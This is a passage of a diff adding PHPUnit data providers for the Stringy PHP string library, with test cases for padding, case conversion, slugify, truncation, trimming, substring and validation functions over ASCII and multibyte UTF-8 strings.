array('foo bar', 'foo bar', 7), + array('fòô bàř', 'fòô bàř', 7, ' ', 'right', 'UTF-8'), + + // right + array('foo bar ', 'foo bar', 9), + array('foo bar_*', 'foo bar', 9, '_*', 'right'), + array('fòô bàř¬ø¬', 'fòô bàř', 10, '¬ø', 'right', 'UTF-8'), + + // left + array(' foo bar', 'foo bar', 9, ' ', 'left'), + array('_*foo bar', 'foo bar', 9, '_*', 'left'), + array('¬ø¬fòô bàř', 'fòô bàř', 10, '¬ø', 'left', 'UTF-8'), + + // both + array('foo bar ', 'foo bar', 8, ' ', 'both'), + array('¬fòô bàř¬ø', 'fòô bàř', 10, '¬ø', 'both', 'UTF-8'), + array('¬øfòô bàř¬øÿ', 'fòô bàř', 12, '¬øÿ', 'both', 'UTF-8') + ); + } + + public function padLeftProvider() + { + return array( + array(' foo bar', 'foo bar', 9), + array('_*foo bar', 'foo bar', 9, '_*'), + array('_*_foo bar', 'foo bar', 10, '_*'), + array(' fòô bàř', 'fòô bàř', 9, ' ', 'UTF-8'), + array('¬øfòô bàř', 'fòô bàř', 9, '¬ø', 'UTF-8'), + array('¬ø¬fòô bàř', 'fòô bàř', 10, '¬ø', 'UTF-8'), + array('¬ø¬øfòô bàř', 'fòô bàř', 11, '¬ø', 'UTF-8'), + ); + } + + public function padRightProvider() + { + return array( + array('foo bar ', 'foo bar', 9), + array('foo bar_*', 'foo bar', 9, '_*'), + array('foo bar_*_', 'foo bar', 10, '_*'), + array('fòô bàř ', 'fòô bàř', 9, ' ', 'UTF-8'), + array('fòô bàř¬ø', 'fòô bàř', 9, '¬ø', 'UTF-8'), + array('fòô bàř¬ø¬', 'fòô bàř', 10, '¬ø', 'UTF-8'), + array('fòô bàř¬ø¬ø', 'fòô bàř', 11, '¬ø', 'UTF-8'), + ); + } + + public function padBothProvider() + { + return array( + array('foo bar ', 'foo bar', 8), + array(' foo bar ', 'foo bar', 9, ' '), + array('fòô bàř ', 'fòô bàř', 8, ' ', 'UTF-8'), + array(' fòô bàř ', 'fòô bàř', 9, ' ', 'UTF-8'), + array('fòô bàř¬', 'fòô bàř', 8, '¬ø', 'UTF-8'), + array('¬fòô bàř¬', 'fòô bàř', 9, '¬ø', 'UTF-8'), + array('¬fòô bàř¬ø', 'fòô bàř', 10, '¬ø', 'UTF-8'), + array('¬øfòô bàř¬ø', 'fòô bàř', 11, '¬ø', 'UTF-8'), + array('¬fòô bàř¬ø', 'fòô bàř', 10, '¬øÿ', 'UTF-8'), + array('¬øfòô bàř¬ø', 'fòô bàř', 11, '¬øÿ', 'UTF-8'), + array('¬øfòô bàř¬øÿ', 'fòô bàř', 12, '¬øÿ', 'UTF-8') + ); + } + + public function startsWithProvider() + { + return array( + array(true, 'foo bars', 'foo bar'), + array(true, 'FOO bars', 'foo bar', false), + array(true, 'FOO bars', 'foo BAR', false), + array(true, 'FÒÔ bàřs', 'fòô bàř', false, 'UTF-8'), + array(true, 'fòô bàřs', 'fòô BÀŘ', false, 'UTF-8'), + array(false, 'foo bar', 'bar'), + array(false, 'foo bar', 'foo bars'), + array(false, 'FOO bar', 'foo bars'), + array(false, 'FOO bars', 'foo BAR'), + array(false, 'FÒÔ bàřs', 'fòô bàř', true, 'UTF-8'), + array(false, 'fòô bàřs', 'fòô BÀŘ', true, 'UTF-8'), + ); + } + + public function endsWithProvider() + { + return array( + array(true, 'foo bars', 'o bars'), + array(true, 'FOO bars', 'o bars', false), + array(true, 'FOO bars', 'o BARs', false), + array(true, 'FÒÔ bàřs', 'ô bàřs', false, 'UTF-8'), + array(true, 'fòô bàřs', 'ô BÀŘs', false, 'UTF-8'), + array(false, 'foo bar', 'foo'), + array(false, 'foo bar', 'foo bars'), + array(false, 'FOO bar', 'foo bars'), + array(false, 'FOO bars', 'foo BARS'), + array(false, 'FÒÔ bàřs', 'fòô bàřs', true, 'UTF-8'), + array(false, 'fòô bàřs', 'fòô BÀŘS', true, 'UTF-8'), + ); + } + + public function toSpacesProvider() + { + return array( + array(' foo bar ', ' foo bar '), + array(' foo bar ', ' foo bar ', 5), + array(' foo bar ', ' foo bar ', 2), + array('foobar', ' foo bar ', 0), + array(" foo\n bar", " foo\n bar"), + array(" fòô\n bàř", " fòô\n bàř") + ); + } + + public function toTabsProvider() + { + return array( + array(' foo bar ', ' foo bar '), + array(' foo bar ', ' foo bar ', 5), + array(' foo bar ', ' foo bar ', 2), + array(" foo\n bar", " foo\n bar"), + array(" fòô\n bàř", " fòô\n bàř") + ); + } + + public function toLowerCaseProvider() + { + return array( + array('foo bar', 'FOO BAR'), + array(' foo_bar ', ' FOO_bar '), + array('fòô bàř', 'FÒÔ BÀŘ', 'UTF-8'), + array(' fòô_bàř ', ' FÒÔ_bàř ', 'UTF-8'), + array('αυτοκίνητο', 'ΑΥΤΟΚΊΝΗΤΟ', 'UTF-8'), + ); + } + + public function toTitleCaseProvider() + { + return array( + array('Foo Bar', 'foo bar'), + array(' Foo_Bar ', ' foo_bar '), + array('Fòô Bàř', 'fòô bàř', 'UTF-8'), + array(' Fòô_Bàř ', ' fòô_bàř ', 'UTF-8'), + array('Αυτοκίνητο Αυτοκίνητο', 'αυτοκίνητο αυτοκίνητο', 'UTF-8'), + ); + } + + public function toUpperCaseProvider() + { + return array( + array('FOO BAR', 'foo bar'), + array(' FOO_BAR ', ' FOO_bar '), + array('FÒÔ BÀŘ', 'fòô bàř', 'UTF-8'), + array(' FÒÔ_BÀŘ ', ' FÒÔ_bàř ', 'UTF-8'), + array('ΑΥΤΟΚΊΝΗΤΟ', 'αυτοκίνητο', 'UTF-8'), + ); + } + + public function slugifyProvider() + { + return array( + array('foo-bar', ' foo bar '), + array('foo-bar', 'foo -.-"-...bar'), + array('another-foo-bar', 'another..& foo -.-"-...bar'), + array('foo-dbar', " Foo d'Bar "), + array('a-string-with-dashes', 'A string-with-dashes'), + array('using-strings-like-foo-bar', 'Using strings like fòô bàř'), + array('numbers-1234', 'numbers 1234'), + array('perevirka-ryadka', 'перевірка рядка'), + array('bukvar-s-bukvoy-y', 'букварь с буквой ы'), + array('podekhal-k-podezdu-moego-doma', 'подъехал к подъезду моего дома'), + array('foo:bar:baz', 'Foo bar baz', ':'), + array('a_string_with_underscores', 'A_string with_underscores', '_'), + array('a_string_with_dashes', 'A string-with-dashes', '_'), + array('a\string\with\dashes', 'A string-with-dashes', '\\'), + array('an_odd_string', '-- An odd__ string-_', '_') + ); + } + + public function containsProvider() + { + return array( + array(true, 'Str contains foo bar', 'foo bar'), + array(true, '12398!@(*%!@# @!%#*&^%', ' @!%#*&^%'), + array(true, 'Ο συγγραφέας είπε', 'συγγραφέας', 'UTF-8'), + array(true, 'å´¥©¨ˆßå˚ ∆∂˙©å∑¥øœ¬', 'å´¥©', true, 'UTF-8'), + array(true, 'å´¥©¨ˆßå˚ ∆∂˙©å∑¥øœ¬', 'å˚ ∆', true, 'UTF-8'), + array(true, 'å´¥©¨ˆßå˚ ∆∂˙©å∑¥øœ¬', 'øœ¬', true, 'UTF-8'), + array(false, 'Str contains foo bar', 'Foo bar'), + array(false, 'Str contains foo bar', 'foobar'), + array(false, 'Str contains foo bar', 'foo bar '), + array(false, 'Ο συγγραφέας είπε', ' συγγραφέας ', true, 'UTF-8'), + array(false, 'å´¥©¨ˆßå˚ ∆∂˙©å∑¥øœ¬', ' ßå˚', true, 'UTF-8'), + array(true, 'Str contains foo bar', 'Foo bar', false), + array(true, '12398!@(*%!@# @!%#*&^%', ' @!%#*&^%', false), + array(true, 'Ο συγγραφέας είπε', 'ΣΥΓΓΡΑΦΈΑΣ', false, 'UTF-8'), + array(true, 'å´¥©¨ˆßå˚ ∆∂˙©å∑¥øœ¬', 'Å´¥©', false, 'UTF-8'), + array(true, 'å´¥©¨ˆßå˚ ∆∂˙©å∑¥øœ¬', 'Å˚ ∆', false, 'UTF-8'), + array(true, 'å´¥©¨ˆßå˚ ∆∂˙©å∑¥øœ¬', 'ØŒ¬', false, 'UTF-8'), + array(false, 'Str contains foo bar', 'foobar', false), + array(false, 'Str contains foo bar', 'foo bar ', false), + array(false, 'Ο συγγραφέας είπε', ' συγγραφέας ', false, 'UTF-8'), + array(false, 'å´¥©¨ˆßå˚ ∆∂˙©å∑¥øœ¬', ' ßÅ˚', false, 'UTF-8') + ); + } + + public function containsAnyProvider() + { + // One needle + $singleNeedle = array_map(function ($array) { + $array[2] = array($array[2]); + return $array; + }, $this->containsProvider()); + + $provider = array( + // No needles + array(false, 'Str contains foo bar', array()), + // Multiple needles + array(true, 'Str contains foo bar', array('foo', 'bar')), + array(true, '12398!@(*%!@# @!%#*&^%', array(' @!%#*', '&^%')), + array(true, 'Ο συγγραφέας είπε', array('συγγρ', 'αφέας'), 'UTF-8'), + array(true, 'å´¥©¨ˆßå˚ ∆∂˙©å∑¥øœ¬', array('å´¥', '©'), true, 'UTF-8'), + array(true, 'å´¥©¨ˆßå˚ ∆∂˙©å∑¥øœ¬', array('å˚ ', '∆'), true, 'UTF-8'), + array(true, 'å´¥©¨ˆßå˚ ∆∂˙©å∑¥øœ¬', array('øœ', '¬'), true, 'UTF-8'), + array(false, 'Str contains foo bar', array('Foo', 'Bar')), + array(false, 'Str contains foo bar', array('foobar', 'bar ')), + array(false, 'Str contains foo bar', array('foo bar ', ' foo')), + array(false, 'Ο συγγραφέας είπε', array(' συγγραφέας ', ' συγγραφ '), true, 'UTF-8'), + array(false, 'å´¥©¨ˆßå˚ ∆∂˙©å∑¥øœ¬', array(' ßå˚', ' ß '), true, 'UTF-8'), + array(true, 'Str contains foo bar', array('Foo bar', 'bar'), false), + array(true, '12398!@(*%!@# @!%#*&^%', array(' @!%#*&^%', '*&^%'), false), + array(true, 'Ο συγγραφέας είπε', array('ΣΥΓΓΡΑΦΈΑΣ', 'ΑΦΈΑ'), false, 'UTF-8'), + array(true, 'å´¥©¨ˆßå˚ ∆∂˙©å∑¥øœ¬', array('Å´¥©', '¥©'), false, 'UTF-8'), + array(true, 'å´¥©¨ˆßå˚ ∆∂˙©å∑¥øœ¬', array('Å˚ ∆', ' ∆'), false, 'UTF-8'), + array(true, 'å´¥©¨ˆßå˚ ∆∂˙©å∑¥øœ¬', array('ØŒ¬', 'Œ'), false, 'UTF-8'), + array(false, 'Str contains foo bar', array('foobar', 'none'), false), + array(false, 'Str contains foo bar', array('foo bar ', ' ba '), false), + array(false, 'Ο συγγραφέας είπε', array(' συγγραφέας ', ' ραφέ '), false, 'UTF-8'), + array(false, 'å´¥©¨ˆßå˚ ∆∂˙©å∑¥øœ¬', array(' ßÅ˚', ' Å˚ '), false, 'UTF-8'), + ); + + return array_merge($singleNeedle, $provider); + } + + public function containsAllProvider() + { + // One needle + $singleNeedle = array_map(function ($array) { + $array[2] = array($array[2]); + return $array; + }, $this->containsProvider()); + + $provider = array( + // One needle + array(false, 'Str contains foo bar', array()), + // Multiple needles + array(true, 'Str contains foo bar', array('foo', 'bar')), + array(true, '12398!@(*%!@# @!%#*&^%', array(' @!%#*', '&^%')), + array(true, 'Ο συγγραφέας είπε', array('συγγρ', 'αφέας'), 'UTF-8'), + array(true, 'å´¥©¨ˆßå˚ ∆∂˙©å∑¥øœ¬', array('å´¥', '©'), true, 'UTF-8'), + array(true, 'å´¥©¨ˆßå˚ ∆∂˙©å∑¥øœ¬', array('å˚ ', '∆'), true, 'UTF-8'), + array(true, 'å´¥©¨ˆßå˚ ∆∂˙©å∑¥øœ¬', array('øœ', '¬'), true, 'UTF-8'), + array(false, 'Str contains foo bar', array('Foo', 'bar')), + array(false, 'Str contains foo bar', array('foobar', 'bar')), + array(false, 'Str contains foo bar', array('foo bar ', 'bar')), + array(false, 'Ο συγγραφέας είπε', array(' συγγραφέας ', ' συγγραφ '), true, 'UTF-8'), + array(false, 'å´¥©¨ˆßå˚ ∆∂˙©å∑¥øœ¬', array(' ßå˚', ' ß '), true, 'UTF-8'), + array(true, 'Str contains foo bar', array('Foo bar', 'bar'), false), + array(true, '12398!@(*%!@# @!%#*&^%', array(' @!%#*&^%', '*&^%'), false), + array(true, 'Ο συγγραφέας είπε', array('ΣΥΓΓΡΑΦΈΑΣ', 'ΑΦΈΑ'), false, 'UTF-8'), + array(true, 'å´¥©¨ˆßå˚ ∆∂˙©å∑¥øœ¬', array('Å´¥©', '¥©'), false, 'UTF-8'), + array(true, 'å´¥©¨ˆßå˚ ∆∂˙©å∑¥øœ¬', array('Å˚ ∆', ' ∆'), false, 'UTF-8'), + array(true, 'å´¥©¨ˆßå˚ ∆∂˙©å∑¥øœ¬', array('ØŒ¬', 'Œ'), false, 'UTF-8'), + array(false, 'Str contains foo bar', array('foobar', 'none'), false), + array(false, 'Str contains foo bar', array('foo bar ', ' ba'), false), + array(false, 'Ο συγγραφέας είπε', array(' συγγραφέας ', ' ραφέ '), false, 'UTF-8'), + array(false, 'å´¥©¨ˆßå˚ ∆∂˙©å∑¥øœ¬', array(' ßÅ˚', ' Å˚ '), false, 'UTF-8'), + ); + + return array_merge($singleNeedle, $provider); + } + + public function surroundProvider() + { + return array( + array('__foobar__', 'foobar', '__'), + array('test', 'test', ''), + array('**', '', '*'), + array('¬fòô bàř¬', 'fòô bàř', '¬'), + array('ßå∆˚ test ßå∆˚', ' test ', 'ßå∆˚') + ); + } + + public function insertProvider() + { + return array( + array('foo bar', 'oo bar', 'f', 0), + array('foo bar', 'f bar', 'oo', 1), + array('f bar', 'f bar', 'oo', 20), + array('foo bar', 'foo ba', 'r', 6), + array('fòô bàř', 'òô bàř', 'f', 0, 'UTF-8'), + array('fòô bàř', 'f bàř', 'òô', 1, 'UTF-8'), + array('fòô bàř', 'fòô bà', 'ř', 6, 'UTF-8') + ); + } + + public function truncateProvider() + { + return array( + array('Test foo bar', 'Test foo bar', 12), + array('Test foo ba', 'Test foo bar', 11), + array('Test foo', 'Test foo bar', 8), + array('Test fo', 'Test foo bar', 7), + array('Test', 'Test foo bar', 4), + array('Test foo bar', 'Test foo bar', 12, '...'), + array('Test foo...', 'Test foo bar', 11, '...'), + array('Test ...', 'Test foo bar', 8, '...'), + array('Test...', 'Test foo bar', 7, '...'), + array('T...', 'Test foo bar', 4, '...'), + array('Test fo....', 'Test foo bar', 11, '....'), + array('Test fòô bàř', 'Test fòô bàř', 12, '', 'UTF-8'), + array('Test fòô bà', 'Test fòô bàř', 11, '', 'UTF-8'), + array('Test fòô', 'Test fòô bàř', 8, '', 'UTF-8'), + array('Test fò', 'Test fòô bàř', 7, '', 'UTF-8'), + array('Test', 'Test fòô bàř', 4, '', 'UTF-8'), + array('Test fòô bàř', 'Test fòô bàř', 12, 'ϰϰ', 'UTF-8'), + array('Test fòô ϰϰ', 'Test fòô bàř', 11, 'ϰϰ', 'UTF-8'), + array('Test fϰϰ', 'Test fòô bàř', 8, 'ϰϰ', 'UTF-8'), + array('Test ϰϰ', 'Test fòô bàř', 7, 'ϰϰ', 'UTF-8'), + array('Teϰϰ', 'Test fòô bàř', 4, 'ϰϰ', 'UTF-8'), + array('What are your pl...', 'What are your plans today?', 19, '...') + ); + } + + public function safeTruncateProvider() + { + return array( + array('Test foo bar', 'Test foo bar', 12), + array('Test foo', 'Test foo bar', 11), + array('Test foo', 'Test foo bar', 8), + array('Test', 'Test foo bar', 7), + array('Test', 'Test foo bar', 4), + array('Test foo bar', 'Test foo bar', 12, '...'), + array('Test foo...', 'Test foo bar', 11, '...'), + array('Test...', 'Test foo bar', 8, '...'), + array('Test...', 'Test foo bar', 7, '...'), + array('...', 'Test foo bar', 4, '...'), + array('Test....', 'Test foo bar', 11, '....'), + array('Test fòô bàř', 'Test fòô bàř', 12, '', 'UTF-8'), + array('Test fòô', 'Test fòô bàř', 11, '', 'UTF-8'), + array('Test fòô', 'Test fòô bàř', 8, '', 'UTF-8'), + array('Test', 'Test fòô bàř', 7, '', 'UTF-8'), + array('Test', 'Test fòô bàř', 4, '', 'UTF-8'), + array('Test fòô bàř', 'Test fòô bàř', 12, 'ϰϰ', 'UTF-8'), + array('Test fòôϰϰ', 'Test fòô bàř', 11, 'ϰϰ', 'UTF-8'), + array('Testϰϰ', 'Test fòô bàř', 8, 'ϰϰ', 'UTF-8'), + array('Testϰϰ', 'Test fòô bàř', 7, 'ϰϰ', 'UTF-8'), + array('ϰϰ', 'Test fòô bàř', 4, 'ϰϰ', 'UTF-8'), + array('What are your plans...', 'What are your plans today?', 22, '...') + ); + } + + public function reverseProvider() + { + return array( + array('', ''), + array('raboof', 'foobar'), + array('řàbôòf', 'fòôbàř', 'UTF-8'), + array('řàb ôòf', 'fòô bàř', 'UTF-8'), + array('∂∆ ˚åß', 'ßå˚ ∆∂', 'UTF-8') + ); + } + + public function shuffleProvider() + { + return array( + array('foo bar'), + array('∂∆ ˚åß', 'UTF-8'), + array('å´¥©¨ˆßå˚ ∆∂˙©å∑¥øœ¬', 'UTF-8') + ); + } + + public function trimProvider() + { + return array( + array('foo bar', ' foo bar '), + array('foo bar', ' foo bar'), + array('foo bar', 'foo bar '), + array('foo bar', "\n\t foo bar \n\t"), + array('fòô bàř', ' fòô bàř '), + array('fòô bàř', ' fòô bàř'), + array('fòô bàř', 'fòô bàř '), + array(' foo bar ', "\n\t foo bar \n\t", "\n\t"), + array('fòô bàř', "\n\t fòô bàř \n\t", null, 'UTF-8'), + array('fòô', ' fòô ', null, 'UTF-8'), // narrow no-break space (U+202F) + array('fòô', '  fòô  ', null, 'UTF-8'), // medium mathematical space (U+205F) + array('fòô', '           fòô', null, 'UTF-8') // spaces U+2000 to U+200A + ); + } + + public function trimLeftProvider() + { + return array( + array('foo bar ', ' foo bar '), + array('foo bar', ' foo bar'), + array('foo bar ', 'foo bar '), + array("foo bar \n\t", "\n\t foo bar \n\t"), + array('fòô bàř ', ' fòô bàř '), + array('fòô bàř', ' fòô bàř'), + array('fòô bàř ', 'fòô bàř '), + array('foo bar', '--foo bar', '-'), + array('fòô bàř', 'òòfòô bàř', 'ò', 'UTF-8'), + array("fòô bàř \n\t", "\n\t fòô bàř \n\t", null, 'UTF-8'), + array('fòô ', ' fòô ', null, 'UTF-8'), // narrow no-break space (U+202F) + array('fòô  ', '  fòô  ', null, 'UTF-8'), // medium mathematical space (U+205F) + array('fòô', '           fòô', null, 'UTF-8') // spaces U+2000 to U+200A + ); + } + + public function trimRightProvider() + { + return array( + array(' foo bar', ' foo bar '), + array('foo bar', 'foo bar '), + array(' foo bar', ' foo bar'), + array("\n\t foo bar", "\n\t foo bar \n\t"), + array(' fòô bàř', ' fòô bàř '), + array('fòô bàř', 'fòô bàř '), + array(' fòô bàř', ' fòô bàř'), + array('foo bar', 'foo bar--', '-'), + array('fòô bàř', 'fòô bàřòò', 'ò', 'UTF-8'), + array("\n\t fòô bàř", "\n\t fòô bàř \n\t", null, 'UTF-8'), + array(' fòô', ' fòô ', null, 'UTF-8'), // narrow no-break space (U+202F) + array('  fòô', '  fòô  ', null, 'UTF-8'), // medium mathematical space (U+205F) + array('fòô', 'fòô           ', null, 'UTF-8') // spaces U+2000 to U+200A + ); + } + + public function longestCommonPrefixProvider() + { + return array( + array('foo', 'foobar', 'foo bar'), + array('foo bar', 'foo bar', 'foo bar'), + array('f', 'foo bar', 'far boo'), + array('', 'toy car', 'foo bar'), + array('', 'foo bar', ''), + array('fòô', 'fòôbar', 'fòô bar', 'UTF-8'), + array('fòô bar', 'fòô bar', 'fòô bar', 'UTF-8'), + array('fò', 'fòô bar', 'fòr bar', 'UTF-8'), + array('', 'toy car', 'fòô bar', 'UTF-8'), + array('', 'fòô bar', '', 'UTF-8'), + ); + } + + public function longestCommonSuffixProvider() + { + return array( + array('bar', 'foobar', 'foo bar'), + array('foo bar', 'foo bar', 'foo bar'), + array('ar', 'foo bar', 'boo far'), + array('', 'foo bad', 'foo bar'), + array('', 'foo bar', ''), + array('bàř', 'fòôbàř', 'fòô bàř', 'UTF-8'), + array('fòô bàř', 'fòô bàř', 'fòô bàř', 'UTF-8'), + array(' bàř', 'fòô bàř', 'fòr bàř', 'UTF-8'), + array('', 'toy car', 'fòô bàř', 'UTF-8'), + array('', 'fòô bàř', '', 'UTF-8'), + ); + } + + public function longestCommonSubstringProvider() + { + return array( + array('foo', 'foobar', 'foo bar'), + array('foo bar', 'foo bar', 'foo bar'), + array('oo ', 'foo bar', 'boo far'), + array('foo ba', 'foo bad', 'foo bar'), + array('', 'foo bar', ''), + array('fòô', 'fòôbàř', 'fòô bàř', 'UTF-8'), + array('fòô bàř', 'fòô bàř', 'fòô bàř', 'UTF-8'), + array(' bàř', 'fòô bàř', 'fòr bàř', 'UTF-8'), + array(' ', 'toy car', 'fòô bàř', 'UTF-8'), + array('', 'fòô bàř', '', 'UTF-8'), + ); + } + + public function lengthProvider() + { + return array( + array(11, ' foo bar '), + array(1, 'f'), + array(0, ''), + array(7, 'fòô bàř', 'UTF-8') + ); + } + + public function substrProvider() + { + return array( + array('foo bar', 'foo bar', 0), + array('bar', 'foo bar', 4), + array('bar', 'foo bar', 4, null), + array('o b', 'foo bar', 2, 3), + array('', 'foo bar', 4, 0), + array('fòô bàř', 'fòô bàř', 0, null, 'UTF-8'), + array('bàř', 'fòô bàř', 4, null, 'UTF-8'), + array('ô b', 'fòô bàř', 2, 3, 'UTF-8'), + array('', 'fòô bàř', 4, 0, 'UTF-8') + ); + } + + public function atProvider() + { + return array( + array('f', 'foo bar', 0), + array('o', 'foo bar', 1), + array('r', 'foo bar', 6), + array('', 'foo bar', 7), + array('f', 'fòô bàř', 0, 'UTF-8'), + array('ò', 'fòô bàř', 1, 'UTF-8'), + array('ř', 'fòô bàř', 6, 'UTF-8'), + array('', 'fòô bàř', 7, 'UTF-8'), + ); + } + + public function firstProvider() + { + return array( + array('', 'foo bar', -5), + array('', 'foo bar', 0), + array('f', 'foo bar', 1), + array('foo', 'foo bar', 3), + array('foo bar', 'foo bar', 7), + array('foo bar', 'foo bar', 8), + array('', 'fòô bàř', -5, 'UTF-8'), + array('', 'fòô bàř', 0, 'UTF-8'), + array('f', 'fòô bàř', 1, 'UTF-8'), + array('fòô', 'fòô bàř', 3, 'UTF-8'), + array('fòô bàř', 'fòô bàř', 7, 'UTF-8'), + array('fòô bàř', 'fòô bàř', 8, 'UTF-8'), + ); + } + + public function lastProvider() + { + return array( + array('', 'foo bar', -5), + array('', 'foo bar', 0), + array('r', 'foo bar', 1), + array('bar', 'foo bar', 3), + array('foo bar', 'foo bar', 7), + array('foo bar', 'foo bar', 8), + array('', 'fòô bàř', -5, 'UTF-8'), + array('', 'fòô bàř', 0, 'UTF-8'), + array('ř', 'fòô bàř', 1, 'UTF-8'), + array('bàř', 'fòô bàř', 3, 'UTF-8'), + array('fòô bàř', 'fòô bàř', 7, 'UTF-8'), + array('fòô bàř', 'fòô bàř', 8, 'UTF-8'), + ); + } + + public function ensureLeftProvider() + { + return array( + array('foobar', 'foobar', 'f'), + array('foobar', 'foobar', 'foo'), + array('foo/foobar', 'foobar', 'foo/'), + array('http://foobar', 'foobar', 'http://'), + array('http://foobar', 'http://foobar', 'http://'), + array('fòôbàř', 'fòôbàř', 'f', 'UTF-8'), + array('fòôbàř', 'fòôbàř', 'fòô', 'UTF-8'), + array('fòô/fòôbàř', 'fòôbàř', 'fòô/', 'UTF-8'), + array('http://fòôbàř', 'fòôbàř', 'http://', 'UTF-8'), + array('http://fòôbàř', 'http://fòôbàř', 'http://', 'UTF-8'), + ); + } + + public function ensureRightProvider() + { + return array( + array('foobar', 'foobar', 'r'), + array('foobar', 'foobar', 'bar'), + array('foobar/bar', 'foobar', '/bar'), + array('foobar.com/', 'foobar', '.com/'), + array('foobar.com/', 'foobar.com/', '.com/'), + array('fòôbàř', 'fòôbàř', 'ř', 'UTF-8'), + array('fòôbàř', 'fòôbàř', 'bàř', 'UTF-8'), + array('fòôbàř/bàř', 'fòôbàř', '/bàř', 'UTF-8'), + array('fòôbàř.com/', 'fòôbàř', '.com/', 'UTF-8'), + array('fòôbàř.com/', 'fòôbàř.com/', '.com/', 'UTF-8'), + ); + } + + public function removeLeftProvider() + { + return array( + array('foo bar', 'foo bar', ''), + array('oo bar', 'foo bar', 'f'), + array('bar', 'foo bar', 'foo '), + array('foo bar', 'foo bar', 'oo'), + array('foo bar', 'foo bar', 'oo bar'), + array('oo bar', 'foo bar', Stringy::create('foo bar')->first(1), 'UTF-8'), + array('oo bar', 'foo bar', Stringy::create('foo bar')->at(0), 'UTF-8'), + array('fòô bàř', 'fòô bàř', '', 'UTF-8'), + array('òô bàř', 'fòô bàř', 'f', 'UTF-8'), + array('bàř', 'fòô bàř', 'fòô ', 'UTF-8'), + array('fòô bàř', 'fòô bàř', 'òô', 'UTF-8'), + array('fòô bàř', 'fòô bàř', 'òô bàř', 'UTF-8') + ); + } + + public function removeRightProvider() + { + return array( + array('foo bar', 'foo bar', ''), + array('foo ba', 'foo bar', 'r'), + array('foo', 'foo bar', ' bar'), + array('foo bar', 'foo bar', 'ba'), + array('foo bar', 'foo bar', 'foo ba'), + array('foo ba', 'foo bar', Stringy::create('foo bar')->last(1), 'UTF-8'), + array('foo ba', 'foo bar', Stringy::create('foo bar')->at(6), 'UTF-8'), + array('fòô bàř', 'fòô bàř', '', 'UTF-8'), + array('fòô bà', 'fòô bàř', 'ř', 'UTF-8'), + array('fòô', 'fòô bàř', ' bàř', 'UTF-8'), + array('fòô bàř', 'fòô bàř', 'bà', 'UTF-8'), + array('fòô bàř', 'fòô bàř', 'fòô bà', 'UTF-8') + ); + } + + public function isAlphaProvider() + { + return array( + array(true, ''), + array(true, 'foobar'), + array(false, 'foo bar'), + array(false, 'foobar2'), + array(true, 'fòôbàř', 'UTF-8'), + array(false, 'fòô bàř', 'UTF-8'), + array(false, 'fòôbàř2', 'UTF-8'), + array(true, 'ҠѨњфгШ', 'UTF-8'), + array(false, 'ҠѨњ¨ˆфгШ', 'UTF-8'), + array(true, '丹尼爾', 'UTF-8') + ); + } + + public function isAlphanumericProvider() + { + return array( + array(true, ''), + array(true, 'foobar1'), + array(false, 'foo bar'), + array(false, 'foobar2"'), + array(false, "\nfoobar\n"), + array(true, 'fòôbàř1', 'UTF-8'), + array(false, 'fòô bàř', 'UTF-8'), + array(false, 'fòôbàř2"', 'UTF-8'), + array(true, 'ҠѨњфгШ', 'UTF-8'), + array(false, 'ҠѨњ¨ˆфгШ', 'UTF-8'), + array(true, '丹尼爾111', 'UTF-8'), + array(true, 'دانيال1', 'UTF-8'), + array(false, 'دانيال1 ', 'UTF-8') + ); + } + + public function isBlankProvider() + { + return array( + array(true, ''), + array(true, ' '), + array(true, "\n\t "), + array(true, "\n\t \v\f"), + array(false, "\n\t a \v\f"), + array(false, "\n\t ' \v\f"), + array(false, "\n\t 2 \v\f"), + array(true, '', 'UTF-8'), + array(true, ' ', 'UTF-8'), // no-break space (U+00A0) + array(true, '           ', 'UTF-8'), // spaces U+2000 to U+200A + array(true, ' ', 'UTF-8'), // narrow no-break space (U+202F) + array(true, ' ', 'UTF-8'), // medium mathematical space (U+205F) + array(true, ' ', 'UTF-8'), // ideographic space (U+3000) + array(false, ' z', 'UTF-8'), + array(false, ' 1', 'UTF-8'), + ); + } + + public function isJsonProvider() + { + return array( + array(true, ''), + array(true, '123'), + array(true, '{"foo": "bar"}'), + array(false, '{"foo":"bar",}'), + array(false, '{"foo"}'), + array(true, '["foo"]'), + array(false, '{"foo": "bar"]'), + array(true, '123', 'UTF-8'), + array(true, '{"fòô": "bàř"}', 'UTF-8'), + array(false, '{"fòô":"bàř",}', 'UTF-8'), + array(false, '{"fòô"}', 'UTF-8'), + array(false, '["fòô": "bàř"]', 'UTF-8'), + array(true, '["fòô"]', 'UTF-8'), + array(false, '{"fòô": "bàř"]', 'UTF-8'), + ); + } + + public function isLowerCaseProvider() + { + return array( + array(true, ''), + array(true, 'foobar'), + array(false, 'foo bar'), + array(false, 'Foobar'), + array(true, 'fòôbàř', 'UTF-8'), + array(false, 'fòôbàř2', 'UTF-8'), + array(false, 'fòô bàř', 'UTF-8'), + array(false, 'fòôbÀŘ', 'UTF-8'), + ); + } + + public function hasLowerCaseProvider() + { + return array( + array(false, ''), + array(true, 'foobar'), + array(false, 'FOO BAR'), + array(true, 'fOO BAR'), + array(true, 'foO BAR'), + array(true, 'FOO BAr'), + array(true, 'Foobar'), + array(false, 'FÒÔBÀŘ', 'UTF-8'), + array(true, 'fòôbàř', 'UTF-8'), + array(true, 'fòôbàř2', 'UTF-8'), + array(true, 'Fòô bàř', 'UTF-8'), + array(true, 'fòôbÀŘ', 'UTF-8'), + ); + } + + public function isSerializedProvider() + { + return array( + array(false, ''), + array(true, 'a:1:{s:3:"foo";s:3:"bar";}'), + array(false, 'a:1:{s:3:"foo";s:3:"bar"}'), + array(true, serialize(array('foo' => 'bar'))), + array(true, 'a:1:{s:5:"fòô";s:5:"bàř";}', 'UTF-8'), + array(false, 'a:1:{s:5:"fòô";s:5:"bàř"}', 'UTF-8'), + array(true, serialize(array('fòô' => 'bár')), 'UTF-8'), + ); + } + + public function isUpperCaseProvider() + { + return array( + array(true, ''), + array(true, 'FOOBAR'), + array(false, 'FOO BAR'), + array(false, 'fOOBAR'), + array(true, 'FÒÔBÀŘ', 'UTF-8'), + array(false, 'FÒÔBÀŘ2', 'UTF-8'), + array(false, 'FÒÔ BÀŘ', 'UTF-8'), + array(false, 'FÒÔBàř', 'UTF-8'), + ); + } + + public function hasUpperCaseProvider() + { + return array( + array(false, ''), + array(true, 'FOOBAR'), + array(false, 'foo bar'), + array(true, 'Foo bar'), + array(true, 'FOo bar'), + array(true, 'foo baR'), + array(true, 'fOOBAR'), + array(false, 'fòôbàř', 'UTF-8'), + array(true, 'FÒÔBÀŘ', 'UTF-8'), + array(true, 'FÒÔBÀŘ2', 'UTF-8'), + array(true, 'fÒÔ 